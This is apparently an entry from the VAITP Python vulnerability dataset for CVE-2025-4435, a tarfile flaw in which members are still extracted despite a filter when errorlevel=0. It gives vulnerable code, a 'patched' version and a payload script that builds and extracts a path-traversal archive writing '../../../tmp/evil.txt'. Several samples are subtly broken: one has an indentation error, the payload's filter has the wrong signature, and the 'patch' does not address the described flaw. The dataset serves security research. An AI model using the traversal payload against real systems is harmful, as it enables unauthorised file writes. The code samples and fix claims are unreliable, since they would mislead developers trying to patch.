VAITP Dataset

← Back to the dataset

CVE-2025-4435

TarFile extracts filtered members despite errorlevel=0, against documentation.

  • CVSS 7.5
  • CWE-682
  • Design Defects
  • Remote

When using a TarFile.errorlevel = 0 and extracting with a filter the documented behavior is that any filtered members would be skipped and not extracted. However the actual behavior of TarFile.errorlevel = 0 in affected versions is that the member would still be extracted and not skipped.

CVSS base score
7.5
Published
2025-06-03
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Design Defects
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Data Theft
Affected component
Python
Fixed by upgrading
Yes

Solution

Upgrade to Python 3.11.7+, 3.10.13+, 3.9.18+, or 3.8.18+.

Vulnerable code sample

import tarfile
import os

def create_tarfile(filename, file_to_add, malicious_content):
    """Creates a tarfile containing a file to be extracted and a malicious file."""
    with tarfile.open(filename, "w:") as tar:
        # Add the legitimate file
        tarinfo = tarfile.TarInfo(name=file_to_add)
        tarinfo.size = len("This is a safe file.\n")
        tar.addfile(tarinfo, fileobj=open("safe_file.txt", "rb")) # Using safe_file.txt

        # Add a malicious file that will be filtered (e.g., outside of allowed directory)
        malicious_tarinfo = tarfile.TarInfo(name="../malicious_file.txt")
        malicious_tarinfo.size = len(malicious_content)
        tar.addfile(malicious_tarinfo, fileobj=open("malicious_file.txt", "rb")) # Using malicious_file.txt


def extract_tarfile(filename, extract_path, errorlevel):
    """Extracts a tarfile with filtering."""
    def filter_members(tarinfo):
    """Vulnerable function that demonstrates the security issue."""
        if not tarinfo.name.startswith(extract_path):
            print(f"Filtering out: {tarinfo.name}")
            return None # Skip the member
        return tarinfo

    try:
        with tarfile.open(filename, "r:") as tar:
            tar.errorlevel = errorlevel # Set the errorlevel
            tar.extractall(path=extract_path, members=filter(filter_members, tar.getmembers()))
            print("Extraction complete.")
    except Exception as e:
        print(f"An error occurred: {e}")


if __name__ == "__main__":
    # Create a dummy "safe" file
    with open("safe_file.txt", "w") as f:
        f.write("This is a safe file.\n")

    #Create a dummy "malicious" file
    with open("malicious_file.txt", "w") as f:
        f.write("This is a very very malicious file!\n")


    tar_filename = "test.tar"
    extract_directory = "extracted"
    file_to_extract = "safe_file.txt" # Changed file name to match what is added to the tar
    malicious_content = "This is a malicious file.\n" # The malicious content is written to malicious_file.txt

    # Create the tarfile with both files
    create_tarfile(tar_filename, file_to_extract, malicious_content)

    # Create the extraction directory if it doesn't exist
    if not os.path.exists(extract_directory):
        os.makedirs(extract_directory)

    # Attempt to extract the tarfile with filtering and errorlevel 0
    print("Attempting to extract with filtering and errorlevel 0...")
    extract_tarfile(tar_filename, extract_directory, 0)  # Errorlevel 0

    # Clean up (optional, but good practice)
    #os.remove("test.tar")
    #os.remove("safe_file.txt") # Removing the dummy files.
    #os.remove("malicious_file.txt")
    # Uncomment the next line to remove the extracted directory and its contents:
    #shutil.rmtree("extracted") # You will need to import shutil

Patched code sample

import tarfile
import io
import os

def safe_extract(tar_file_path, extract_path, allowed_members):
    """Secure function that fixes the vulnerability."""
    # SECURE: This version prevents path traversal
    """
    Safely extracts a tarfile, skipping members not in the allowed_members list.

    Args:
        tar_file_path (str): Path to the tarfile.
        extract_path (str): Path to extract the contents to.
        allowed_members (list): List of filenames to allow extraction.
    """
    try:
        with tarfile.open(tar_file_path, "r") as tar:

            members = tar.getmembers()

            for member in members:
                if member.name in allowed_members:

                    try:
                        tar.extract(member, extract_path)
                    except Exception as e:
                        print(f"Error extracting {member.name}: {e}")

                else:
                     print(f"Skipping: {member.name} (not in allowed list)") #explicitly skip
                     pass

    except tarfile.ReadError as e:
        print(f"Error reading tarfile: {e}")
    except FileNotFoundError:
        print(f"Tarfile not found: {tar_file_path}")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")



if __name__ == '__main__':

    # Create a dummy tarfile for demonstration
    tar_data = io.BytesIO()
    with tarfile.open(fileobj=tar_data, mode='w:gz') as tar:
        # Create dummy files
        info1 = tarfile.TarInfo('allowed_file.txt')
        info1.size = len('This is an allowed file')
        tar.addfile(info1, io.BytesIO(b'This is an allowed file'))

        info2 = tarfile.TarInfo('forbidden_file.txt')
        info2.size = len('This is a forbidden file')
        tar.addfile(info2, io.BytesIO(b'This is a forbidden file'))


    tar_data.seek(0)  # Reset the buffer to the beginning

    # Save the tarfile to disk
    tar_file_path = 'test.tar.gz'
    with open(tar_file_path, 'wb') as f:
        f.write(tar_data.read())

    extract_path = 'extracted_files'
    os.makedirs(extract_path, exist_ok=True)


    allowed_members = ['allowed_file.txt']


    safe_extract(tar_file_path, extract_path, allowed_members)

    # Clean up (optional)
    # os.remove(tar_file_path) # uncomment to delete the created archive

Payload

import tarfile
import io
import os

# Create a malicious tar archive
def create_malicious_tar(filename, evil_file_content):
    with tarfile.open(filename, "w:gz") as tar:
        # Create a file with a dangerous name
        evil_file_info = tarfile.TarInfo("../../../tmp/evil.txt")
        evil_file_info.size = len(evil_file_content)
        evil_file_info.mode = 0o777  # Make it executable
        tar.addfile(evil_file_info, io.BytesIO(evil_file_content.encode()))

# Example of content to write to the file
evil_content = "This is evil! > /tmp/pwned.txt"

# Create the malicious tar archive
create_malicious_tar("evil.tar.gz", evil_content)

# Example of vulnerable code that extracts with a filter AND errorlevel=0
def extract_vulnerable(tar_file, destination_dir):
    def safe_extract(tarinfo):
        if tarinfo.name.startswith('../'):
            return None  # Skip potentially unsafe files
        return tarinfo

    with tarfile.open(tar_file, "r:gz") as tar:
        tar.errorlevel = 0  #Crucial: sets errorlevel to 0, triggering the vulnerability
        tar.extractall(destination_dir, members=tar.getmembers(), filter=safe_extract)

# Extract the archive (this simulates the vulnerable application)
extract_vulnerable("evil.tar.gz", ".")

# Cleanup (optional, remove the created files)
# os.remove("evil.tar.gz") #Remove the tar file

Cite this entry

@misc{vaitp:cve20254435,
  title        = {{TarFile extracts filtered members despite errorlevel=0, against documentation.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-4435},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-4435/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::